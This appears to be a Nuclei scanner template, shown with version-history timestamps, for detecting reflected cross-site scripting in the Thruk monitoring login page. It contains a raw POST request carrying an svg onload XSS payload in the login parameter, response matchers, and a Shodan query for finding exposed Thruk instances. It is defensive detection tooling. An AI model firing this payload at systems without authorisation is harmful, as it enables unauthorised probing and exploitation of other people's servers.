nuclei-templates/vulnerabilities/other/thruk-xss.yaml

39 lines
957 B
YAML
Raw Normal View History

2021-12-02 12:07:50 +00:00
id: thruk-xss
2021-12-02 12:02:40 +00:00
info:
2022-08-15 08:57:04 +00:00
name: Thruk Monitoring Webinterface - Cross Site Scripting
author: pikpikcu,ritikchaddha
2021-12-02 12:02:40 +00:00
severity: medium
2022-08-15 08:57:04 +00:00
description: |
Thruk login page is vulnerable to Reflected XSS via the login parameter at /thruk/cgi-bin/login.cgi.
reference:
- https://www.thruk.org/download.html
2022-08-15 08:57:04 +00:00
metadata:
verified: true
shodan-query: http.html:"Thruk"
tags: thruk,xss
2021-12-02 12:02:40 +00:00
requests:
- raw:
2021-12-03 05:07:42 +00:00
- |
2021-12-02 12:02:40 +00:00
POST /thruk/cgi-bin/login.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-08-15 08:57:04 +00:00
referer=&login=%22%3Csvg%2Fonload%3Dalert%28document.domain%29%3E%22%40gmail.com&password=test&submit=Login
2021-12-03 05:07:42 +00:00
matchers-condition: and
2021-12-02 12:02:40 +00:00
matchers:
- type: word
words:
2022-08-15 08:57:04 +00:00
- "<svg/onload=alert(document.domain)>\"@gmail.com') called at"
2021-12-02 12:02:40 +00:00
- type: word
part: header
2021-12-03 05:07:42 +00:00
words:
2021-12-09 16:28:15 +00:00
- "text/html"
2022-08-15 08:57:04 +00:00
- type: status
status:
- 500